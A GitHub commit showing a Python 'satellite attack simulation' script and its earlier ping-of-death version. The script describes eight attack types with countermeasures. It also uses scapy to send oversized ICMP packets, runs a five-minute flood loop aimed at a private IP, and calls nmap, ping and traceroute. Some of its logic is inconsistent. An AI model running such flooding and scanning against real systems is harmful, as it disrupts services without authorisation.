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Update and rename satellite_ping_of_death_simulation.py to satellite_attack_simulation.py

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Этот коммит содержится в:
Sylvester Kaczmarek 2023-10-11 23:59:09 +01:00 коммит произвёл GitHub
родитель 3492943dc2
Коммит 04d8069d96
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327
code/satellite_attack_simulation.py Обычный файл
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import socket
import time
import logging
from scapy.all import *
# Setup logging
logging.basicConfig(filename='satellite_attack_log.txt', level=logging.INFO)
def introduction():
print("Welcome to the Satellite Attack Simulation!")
print("\nIn this simulation, we'll explore various attack vectors that could be used against satellite systems. Satellites, being isolated in space, rely heavily on their communication systems. Disrupting or compromising these systems could render a satellite ineffective or even cause malfunctions.")
print("\nWe'll simulate the following attacks:")
print("1. Ping of Death")
print("2. TCP SYN Flood")
print("3. UDP Flood")
print("4. Signal Jamming")
print("5. Signal Spoofing")
print("6. Eavesdropping")
print("7. Physical Attacks on Satellite")
print("8. Ground Station Attacks")
print("\nEach attack will provide insights into its potential impacts and possible defenses. Let's proceed with the simulation and explore the potential impacts and defenses against these attacks on satellite systems.")
def network_topology_simulation():
nodes = {
'satellite': '192.168.0.10',
'ground_station': '192.168.0.20',
'user': '192.168.0.30'
}
return nodes
def craft_packet(target_ip, packet_size):
packet = IP(dst=target_ip)/ICMP()/"O" * packet_size
return packet
def send_packet(packet, rate):
try:
send(packet, inter=1/rate)
logging.info(f"Packet sent to {packet[IP].dst} at rate {rate} pps")
except Exception as e:
logging.error(f"Error sending packet: {e}")
def defensive_mechanisms(packet):
if len(packet) > 1000:
logging.warning("Dropped oversized packet")
return False
logging.info("Packet passed defensive checks")
return True
def store_attack_data(data):
with open('attack_data.txt', 'a') as file:
file.write(data + '\n')
logging.info(f"Stored attack data: {data}")
def choose_attack_vector():
print("Choose an attack vector:")
print("1: Ping of Death")
print("2: TCP SYN Flood")
print("3: UDP Flood")
print("4: Signal Jamming")
print("5: Signal Spoofing")
print("6: Eavesdropping")
print("7: Physical Attacks on Satellite")
print("8: Ground Station Attacks")
choice = input("Enter your choice (1-8): ")
return choice
def interactive_challenges():
challenges = {
1: "Bring down the satellite connection for 5 minutes",
2: "Bypass the firewall",
3: "Achieve a specific packet rate"
}
print("Choose a challenge:")
for key, value in challenges.items():
print(f"{key}: {value}")
choice = input("Enter your choice: ")
return choice
def handle_challenge(challenge, target_ip, packet_size):
logging.info(f"Starting challenge: {challenge}")
if challenge == '1':
print("\nChallenge: Bring down the satellite connection for 5 minutes.")
print("Simulating continuous packet sending for 5 minutes...")
end_time = time.time() + 300 # 5 minutes in seconds
while time.time() < end_time:
packet = craft_packet(target_ip, packet_size)
send_packet(packet, 10) # Sending at a rate of 10 packets per second
print("Challenge completed. Check the satellite's status to see if the connection was disrupted.")
elif challenge == '2':
print("\nChallenge: Bypass the firewall.")
print("Simulating sending specially crafted packets to bypass firewall rules...")
# This is a placeholder. In a real-world scenario, you'd craft packets that exploit specific firewall vulnerabilities.
packet = craft_packet(target_ip, packet_size)
send_packet(packet, 10)
print("Challenge completed. Check if the packets reached the satellite behind the firewall.")
elif challenge == '3':
print("\nChallenge: Achieve a specific packet rate.")
desired_rate = int(input("Enter the desired packet rate (packets per second): "))
print(f"Simulating sending packets at a rate of {desired_rate} pps...")
packet = craft_packet(target_ip, packet_size)
send_packet(packet, desired_rate)
print(f"Challenge completed. Packets were sent at a rate of {desired_rate} pps.")
logging.info(f"Completed challenge: {challenge}")
def feedback_loop(attack_vector, packet_size):
print("\nFeedback based on the attack simulation results:")
if attack_vector == '1': # Ping of Death
if packet_size > 65535:
print("- The packet size you chose exceeds the typical maximum size for an IP packet (65535 bytes).")
print("- In real-world scenarios, such oversized packets could cause buffer overflows, leading to system crashes or malfunctions.")
print("- Outcome: The satellite's communication system could be disrupted due to the oversized packets.")
else:
print("- The packet size you chose is within the typical range for IP packets.")
print("- While it might not cause immediate harm, repeated or rapid sending of such packets could still lead to a Denial of Service (DoS) condition.")
print("- Outcome: The satellite might experience intermittent communication disruptions.")
elif attack_vector == '2': # TCP SYN Flood
print("- TCP SYN Flood attacks aim to exhaust the target's resources by initiating numerous TCP connections but never completing them.")
print("- This can lead to the target being unable to handle legitimate requests.")
print("- Outcome: The satellite's communication system could be overwhelmed, leading to a temporary loss of connectivity.")
elif attack_vector == '3': # UDP Flood
print("- UDP Flood attacks involve sending a large number of UDP packets to a target, overwhelming its resources.")
print("- The target system might become unresponsive or crash if it cannot handle the influx of packets.")
print("- Outcome: The satellite could experience a significant slowdown or even a temporary shutdown of its communication system.")
elif attack_vector == '4': # Signal Jamming
print("- Signal Jamming attacks involve overpowering the satellite's signal with noise or another signal.")
print("- This can make it impossible for legitimate users to communicate with the satellite.")
elif attack_vector == '5': # Signal Spoofing
print("- Signal Spoofing attacks involve sending fake signals to deceive the satellite.")
print("- This could be used to send false commands or corrupt data.")
elif attack_vector == '6': # Eavesdropping
print("- Eavesdropping involves intercepting satellite signals to capture sensitive data.")
print("- This can compromise the confidentiality of the data being transmitted.")
elif attack_vector == '7': # Physical Attacks on Satellite
print("- Physical attacks involve causing actual physical damage to the satellite.")
print("- This could be from space debris, anti-satellite weapons, or other satellites.")
elif attack_vector == '8': # Ground Station Attacks
print("- Ground Station Attacks target the terrestrial components of satellite systems.")
print("- Compromising a ground station can give an adversary control over the satellite it communicates with.")
print("\nIt's essential to understand the implications of different attack vectors. Modern systems often have defenses in place against known attacks, but new vulnerabilities can always emerge. Continuous monitoring, updating, and testing are crucial for maintaining a secure system.")
def integrate_real_tools(target_ip):
while True:
print("\nIntegrating with real-world tools...")
print("Choose a tool to run:")
print("1: ping - Check connectivity to the target satellite")
print("2: nmap - Scan the ports of the target satellite")
print("3: traceroute - Trace the path to the target satellite")
print("4: Exit")
choice = input("Enter your choice (1/2/3/4): ")
if choice == '1':
logging.info("Using ping tool")
print("\nUsing ping to check the connectivity to the target satellite:")
print("Ping is a network diagnostic tool used to test the reachability of a host on an IP network.")
# Using ping to check connectivity. The '-c 4' parameter specifies the number of packets to send.
os.system(f"ping -c 4 {target_ip}")
elif choice == '2':
logging.info("Using nmap tool")
print("\nUsing nmap to scan the ports of the target satellite:")
print("Nmap (Network Mapper) is a security scanner used to discover hosts and services on a computer network.")
# Using nmap for port scanning. The '-p 1-100' parameter specifies the range of ports to scan (in this case, the first 100 ports).
os.system(f"nmap -p 1-100 {target_ip}")
elif choice == '3':
logging.info("Using traceroute tool")
print("\nUsing traceroute to trace the path to the target satellite:")
print("Traceroute is a network diagnostic tool used to display the route and measure transit delays of packets across an IP network.")
# Using traceroute to display the route packets take to reach the satellite.
os.system(f"traceroute {target_ip}")
elif choice == '4':
logging.info("Exiting tool integration")
print("Exiting the tool integration.")
break
else:
logging.warning("Invalid tool choice")
print("Invalid choice. Please choose a valid option.")
def main():
introduction()
nodes = network_topology_simulation()
target_ip = nodes['satellite'] # For simplicity, we're targeting the satellite
attack_vector = choose_attack_vector()
if attack_vector == '1': # Ping of Death
packet_size = 70000 # Oversized packet
# Suggesting countermeasures
print("\nSuggested countermeasures for Ping of Death:")
print("1. Implement packet size checks at the network perimeter.")
print("2. Update and patch operating systems and network devices regularly.")
print("3. Monitor network traffic for unusual patterns or sizes.")
print("4. Use intrusion detection systems (IDS) to detect and prevent oversized packets.")
elif attack_vector == '2': # TCP SYN Flood
packet_size = 60 # Typical size for a TCP packet
# Suggesting countermeasures
print("\nSuggested countermeasures for TCP SYN Flood:")
print("1. Implement SYN cookies to handle large numbers of SYN requests.")
print("2. Use rate-limiting to control the number of SYN requests from a single IP.")
print("3. Configure firewalls to drop suspicious SYN packets.")
print("4. Monitor network for unusual amounts of SYN packets.")
elif attack_vector == '3': # UDP Flood
packet_size = 28 # Typical size for a UDP packet
# Suggesting countermeasures
print("\nSuggested countermeasures for UDP Flood:")
print("1. Implement rate-limiting for incoming UDP traffic.")
print("2. Configure firewalls to filter out unwanted UDP traffic.")
print("3. Use traffic analysis to identify and block sources of UDP flood.")
print("4. Ensure infrastructure can handle traffic spikes to mitigate the effects of the flood.")
elif attack_vector == '4': # Signal Jamming
print("\nSimulating Signal Jamming...")
print("In this attack, the adversary tries to overpower the satellite's signal with noise or another signal, making it impossible for legitimate users to communicate with the satellite.")
print("\nInitiating jamming sequence...")
time.sleep(2) # Pausing for 2 seconds to simulate the process
print("Broadcasting high-power noise on the satellite's frequency...")
time.sleep(3) # Pausing for 3 seconds
print("Satellite communication disrupted! Signal-to-noise ratio has dropped significantly.")
# Suggesting countermeasures
print("\nSuggested countermeasures for Signal Jamming:")
print("1. Switch to a backup frequency.")
print("2. Use spread spectrum techniques to make jamming more difficult.")
print("3. Increase the satellite's transmission power (if possible).")
print("4. Identify the source of jamming and take appropriate legal or defensive actions.")
elif attack_vector == '5': # Signal Spoofing
print("\nSimulating Signal Spoofing...")
print("In this attack, the adversary sends fake signals to the satellite to deceive it. This could be used to send false commands or corrupt data.")
print("\nInitiating spoofing sequence...")
time.sleep(2) # Pausing for 2 seconds to simulate the process
print("Sending fake signals with deceptive commands to the satellite...")
time.sleep(3) # Pausing for 3 seconds
print("Satellite has executed the deceptive commands! Its behavior is now altered.")
# Suggesting countermeasures
print("\nSuggested countermeasures for Signal Spoofing:")
print("1. Implement strong encryption and authentication for all satellite communications.")
print("2. Continuously monitor for anomalies in satellite behavior.")
print("3. Use geolocation to verify the source of signals.")
print("4. Implement a secure command and control infrastructure with multiple verification steps.")
elif attack_vector == '6': # Eavesdropping
print("\nSimulating Eavesdropping...")
print("Since satellite signals are broadcast over a wide area, they can be intercepted. In this simulation, the adversary tries to capture sensitive data being transmitted.")
print("\nInitiating eavesdropping sequence...")
time.sleep(2) # Pausing for 2 seconds to simulate the process
print("Capturing satellite signals...")
time.sleep(3) # Pausing for 3 seconds
print("Sensitive data intercepted!")
# Suggesting countermeasures
print("\nSuggested countermeasures for Eavesdropping:")
print("1. Encrypt all data transmitted to and from the satellite.")
print("2. Use secure and authenticated communication channels.")
print("3. Regularly update encryption keys and algorithms.")
print("4. Monitor for unauthorized receivers in the satellite's footprint.")
elif attack_vector == '7': # Physical Attacks on Satellite
print("\nSimulating Physical Attacks on Satellite...")
print("This involves actual physical damage to the satellite, either from space debris, anti-satellite weapons, or other satellites.")
print("\nInitiating physical attack sequence...")
time.sleep(2) # Pausing for 2 seconds to simulate the process
print("Satellite hit by space debris!")
time.sleep(3) # Pausing for 3 seconds
print("Satellite's physical integrity compromised!")
# Suggesting countermeasures
print("\nSuggested countermeasures for Physical Attacks on Satellite:")
print("1. Implement debris tracking systems to avoid collisions.")
print("2. Design satellites with redundant systems to withstand minor damages.")
print("3. Use maneuvering capabilities to avoid potential threats.")
print("4. Collaborate internationally to regulate and monitor space activities.")
elif attack_vector == '8': # Ground Station Attacks
print("\nSimulating Ground Station Attacks...")
print("Ground stations are terrestrial components of satellite systems. In this simulation, the adversary tries to compromise a ground station to gain control over the satellite it communicates with.")
print("\nInitiating ground station attack sequence...")
time.sleep(2) # Pausing for 2 seconds to simulate the process
print("Compromising ground station's security systems...")
time.sleep(3) # Pausing for 3 seconds
print("Ground station compromised! Satellite control taken over by adversary.")
# Suggesting countermeasures
print("\nSuggested countermeasures for Ground Station Attacks:")
print("1. Implement strong perimeter security for ground stations.")
print("2. Use multi-factor authentication for all access points.")
print("3. Regularly audit and update security protocols.")
print("4. Monitor for cyber threats and have an incident response plan in place.")
packet = craft_packet(target_ip, packet_size)
if not defensive_mechanisms(packet):
print("Packet dropped by defensive mechanisms!")
return
rate = 10 # packets per second
send_packet(packet, rate)
store_attack_data(f"Attack on {target_ip} with packet size {packet_size} at rate {rate} pps")
challenge = interactive_challenges()
handle_challenge(challenge, target_ip, packet_size)
feedback_loop(attack_vector, packet_size)
integrate_real_tools(target_ip)
if __name__ == "__main__":
main()

192
code/satellite_ping_of_death_simulation.py
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import socket
import time
import logging
from scapy.all import *
# Setup logging
logging.basicConfig(filename='satellite_attack_log.txt', level=logging.INFO)
def introduction():
print("Welcome to the 'Ping of Death' attack simulation on satellites!")
print("\nThe 'Ping of Death' attack involves sending oversized or malformed packets to crash or destabilize a system. Historically, this attack exploited vulnerabilities in older operating systems, causing them to crash when they received a packet larger than they expected.")
print("\nIn this simulation, we'll explore how such an attack might impact satellite systems. Satellites, being isolated in space, rely heavily on their communication systems. An effective DoS attack could disrupt a satellite's ability to communicate, rendering it ineffective or even causing malfunctions.")
print("\nLet's proceed with the simulation and explore the potential impacts and defenses against such attacks on satellite systems.")
def network_topology_simulation():
nodes = {
'satellite': '192.168.0.10',
'ground_station': '192.168.0.20',
'user': '192.168.0.30'
}
return nodes
def craft_packet(target_ip, packet_size):
packet = IP(dst=target_ip)/ICMP()/"O" * packet_size
return packet
def send_packet(packet, rate):
try:
send(packet, inter=1/rate)
except Exception as e:
logging.error(f"Error sending packet: {e}")
def defensive_mechanisms(packet):
if len(packet) > 1000:
logging.warning("Dropped oversized packet")
return False
return True
def store_attack_data(data):
with open('attack_data.txt', 'a') as file:
file.write(data + '\n')
def choose_attack_vector():
print("Choose an attack vector:")
print("1: Ping of Death")
print("2: TCP SYN Flood")
print("3: UDP Flood")
choice = input("Enter your choice (1/2/3): ")
return choice
def interactive_challenges():
challenges = {
1: "Bring down the satellite connection for 5 minutes",
2: "Bypass the firewall",
3: "Achieve a specific packet rate"
}
print("Choose a challenge:")
for key, value in challenges.items():
print(f"{key}: {value}")
choice = input("Enter your choice: ")
return choice
def handle_challenge(challenge, target_ip, packet_size):
if challenge == '1':
print("\nChallenge: Bring down the satellite connection for 5 minutes.")
print("Simulating continuous packet sending for 5 minutes...")
end_time = time.time() + 300 # 5 minutes in seconds
while time.time() < end_time:
packet = craft_packet(target_ip, packet_size)
send_packet(packet, 10) # Sending at a rate of 10 packets per second
print("Challenge completed. Check the satellite's status to see if the connection was disrupted.")
elif challenge == '2':
print("\nChallenge: Bypass the firewall.")
print("Simulating sending specially crafted packets to bypass firewall rules...")
# This is a placeholder. In a real-world scenario, you'd craft packets that exploit specific firewall vulnerabilities.
packet = craft_packet(target_ip, packet_size)
send_packet(packet, 10)
print("Challenge completed. Check if the packets reached the satellite behind the firewall.")
elif challenge == '3':
print("\nChallenge: Achieve a specific packet rate.")
desired_rate = int(input("Enter the desired packet rate (packets per second): "))
print(f"Simulating sending packets at a rate of {desired_rate} pps...")
packet = craft_packet(target_ip, packet_size)
send_packet(packet, desired_rate)
print(f"Challenge completed. Packets were sent at a rate of {desired_rate} pps.")
def feedback_loop(attack_vector, packet_size):
print("\nFeedback based on the attack simulation results:")
if attack_vector == '1': # Ping of Death
if packet_size > 65535:
print("- The packet size you chose exceeds the typical maximum size for an IP packet (65535 bytes).")
print("- In real-world scenarios, such oversized packets could cause buffer overflows, leading to system crashes or malfunctions.")
else:
print("- The packet size you chose is within the typical range for IP packets.")
print("- While it might not cause immediate harm, repeated or rapid sending of such packets could still lead to a Denial of Service (DoS) condition.")
elif attack_vector == '2': # TCP SYN Flood
print("- TCP SYN Flood attacks aim to exhaust the target's resources by initiating numerous TCP connections but never completing them.")
print("- This can lead to the target being unable to handle legitimate requests.")
elif attack_vector == '3': # UDP Flood
print("- UDP Flood attacks involve sending a large number of UDP packets to a target, overwhelming its resources.")
print("- The target system might become unresponsive or crash if it cannot handle the influx of packets.")
print("\nIt's essential to understand the implications of different attack vectors and packet sizes. Modern systems often have defenses in place against known attacks, but new vulnerabilities can always emerge. Continuous monitoring, updating, and testing are crucial for maintaining a secure system.")
def integrate_real_tools(target_ip):
print("\nIntegrating with real-world tools...")
# Using ping
print("\nUsing ping to check the connectivity to the target satellite:")
os.system(f"ping -c 4 {target_ip}")
# Using nmap for port scanning (assuming the satellite has open ports for the sake of simulation)
print("\nUsing nmap to scan the ports of the target satellite:")
os.system(f"nmap -p 1-100 {target_ip}") # Scanning the first 100 ports for demonstration
# Using traceroute to trace the path packets take to reach the satellite
print("\nUsing traceroute to trace the path to the target satellite:")
os.system(f"traceroute {target_ip}")
print("\nIntegration with real-world tools completed.")
def integrate_real_tools(target_ip):
while True:
print("\nIntegrating with real-world tools...")
print("Choose a tool to run:")
print("1: ping - Check connectivity to the target satellite")
print("2: nmap - Scan the ports of the target satellite")
print("3: traceroute - Trace the path to the target satellite")
print("4: Exit")
choice = input("Enter your choice (1/2/3/4): ")
if choice == '1':
print("\nUsing ping to check the connectivity to the target satellite:")
print("Ping is a network diagnostic tool used to test the reachability of a host on an IP network.")
# Using ping to check connectivity. The '-c 4' parameter specifies the number of packets to send.
os.system(f"ping -c 4 {target_ip}")
elif choice == '2':
print("\nUsing nmap to scan the ports of the target satellite:")
print("Nmap (Network Mapper) is a security scanner used to discover hosts and services on a computer network.")
# Using nmap for port scanning. The '-p 1-100' parameter specifies the range of ports to scan (in this case, the first 100 ports).
os.system(f"nmap -p 1-100 {target_ip}")
elif choice == '3':
print("\nUsing traceroute to trace the path to the target satellite:")
print("Traceroute is a network diagnostic tool used to display the route and measure transit delays of packets across an IP network.")
# Using traceroute to display the route packets take to reach the satellite.
os.system(f"traceroute {target_ip}")
elif choice == '4':
print("Exiting the tool integration.")
break
else:
print("Invalid choice. Please choose a valid option.")
def main():
introduction()
nodes = network_topology_simulation()
target_ip = nodes['satellite'] # For simplicity, we're targeting the satellite
attack_vector = choose_attack_vector()
if attack_vector == '1': # Ping of Death
packet_size = 70000 # Oversized packet
elif attack_vector == '2': # TCP SYN Flood
packet_size = 60 # Typical size for a TCP packet
elif attack_vector == '3': # UDP Flood
packet_size = 28 # Typical size for a UDP packet
packet = craft_packet(target_ip, packet_size)
if not defensive_mechanisms(packet):
print("Packet dropped by defensive mechanisms!")
return
rate = 10 # packets per second
send_packet(packet, rate)
store_attack_data(f"Attack on {target_ip} with packet size {packet_size} at rate {rate} pps")
challenge = interactive_challenges()
handle_challenge(challenge, target_ip, packet_size)
feedback_loop(attack_vector, packet_size)
integrate_real_tools(target_ip)
if __name__ == "__main__":
main()